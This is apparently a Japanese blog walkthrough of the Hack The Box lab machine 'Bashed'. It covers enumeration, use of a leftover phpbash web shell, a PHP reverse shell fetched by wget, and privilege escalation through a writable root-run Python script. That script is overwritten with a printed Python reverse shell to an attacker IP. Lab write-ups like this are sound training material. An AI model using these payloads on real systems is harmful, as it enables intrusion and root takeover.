Bashed 日本語でウォークスルー Hack The Box Machine:

HTB htb-easy

Hack The BoxのBashedのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。悪用は厳禁です。

HTB Bashed ウォークスルー・ライトアップ

サマリー

local shell取得まで

ターゲットポート:TCP 80 (http)
脆弱性:ターゲットのhttpでは「phpbash」というツールが存在した。phpbashを利用し、local-shellを取得した。
local権限を取得したユーザ:www-data

privilege Escalation取得まで

脆弱性:「www-data」ユーザはパスワード無しで「scriptmanager」ユーザに移動できるようになっていた。
「scriptmanager」ユーザ経由でroot権限を取得した。
root権限を取得したユーザ:scriptmanager,root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号80(http)が開いていることが分かりました。また、「Apache/2.4.18」という文言から、ターゲットではLinuxが動作しているのではと推測できます。

最初のnmapの結果では、TCPポート番号80(http)以外に空いているポートは見当たりませんでした。
そのため、まずはターゲットのhttpサービスについて、深く調査していくことにしました。

ターゲットのhttpサービス調査

まず、firefoxを使用し、httpアクセスしました。その結果、以下サイトが表示されました。

サイト上では、「phpbash」というものが紹介されていました。
さらに以下のように紹介されています。

「phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!」
(日本語訳:「phpbash」はペネトレーションテストで大変役立ちます。私はたくさんの異なるサーバーで、「phpbash」を試しました。その中で、このツールはとても便利でした。私はこのサーバー内で、このツールを開発したんです。)

一部意訳が入っていますが、こんな感じです。
気になったのは、「phpbash」というツールがターゲットサーバ内に残っている可能性があることでした。
(「このサーバー内で開発した」→「開発したツールがまだサーバーに残っている」という仮説を立てました。)

また、「phpbash」について調査を続けていきました。どうやらこのツールは、web上でサーバーのshellが使えるようになるツールのようです。

この段階で、local-shellを取得する方針として、「①ターゲット内の「phpbash」を探す」、「②「phpbash」を使ってlocal-shellを取得する」ことにしました。

Local shellの取得

「①ターゲット内の「phpbash」を探す」

gobusterを使ってターゲット内のhttpサービスのディレクトリを調査しました。

その中で、「dev(おそらくdevelopmentの略?)」というディレクトリがありました。「phpbash」がこのターゲット内で開発(develop)されたことから、
このディレクトリをもう少し深堀することにしました。
「dev」ディレクトリにアクセスした所、以下の通り、「phpbash」を見つけました。

実際に「phpbash」にアクセスした結果が以下となります。「www-data」のshellが利用できるようでした。

②「phpbash」を使ってlocal-shellを取得する

まずは、「reverse-shell」用のスクリプトを以下の通り用意しました。
(「phpbash」のため、「php」で用意しました。また、スクリプト内の「IPアドレス」と「ポート番号」を自分のものに変更しました。また、「php1.php」というファイル名にリネームしました。)

次に、ターゲットに「reverse-shell」用のスクリプトを転送しました。
(以下の通り、自分のマシンで「SimpleHTTPServer」を起動し、ターゲットからwgetでファイルを受け取っています。)

自分のマシンで「netcat」を仕掛けて、ターゲットで「php1.php」を実行しました。その結果、以下の通り、「www-data」のlocal-shellを取得できました。

Privilege Escalation

sudo権限の調査

取得した「www-data」のshellが持つsudo権限を調べました。その結果、「(scriptmanager : scriptmanager) NOPASSWD: ALL」という文言から、
「scriptmanager」ユーザに移動できそうだと分かりました。

このままだとカレントユーザが分かりにくいので、「python -c ‘import pty; pty.spawn(“/bin/bash”);’」コマンドで、以下の通り、プロンプトを分かりやすくしました。その後、「scriptmanager」ユーザに移動しました。

「scriptmanager」ユーザで実行できること

続いて「scriptmanager」ユーザでできることを調査しました。その結果、以下の通り、「scriptmanager」ユーザが所有権を持つ「scripts」というフォルダを見つけました。

「scripts」フォルダの中には以下が格納されていました。「ls -la」コマンドで確認した所、txtファイルはrootが所有者で、pythonファイルはscriptmanagerが所有者でした。pythonスクリプトはtxtファイルを作成する簡単なものでした。しかし、txtファイルの所有者がrootになっていること、txtファイルを削除してもまた新たなtxtファイルが数分間隔で作成されることから、どうやら定期的にrootユーザがtest.pyを実行しているという仮説を立てました。


以下の通り、test.pyのスクリプトを置き換えました。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.xx.xx”,7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

netcatを仕掛けて、しばらく待ったところ、root権限を取得できました。

flagを探す

user.txtは「/home/arrexel」の直下にありました。root.txtは「/root」の直下にありました。

以上で、Bashedのウォークスルーが完了です。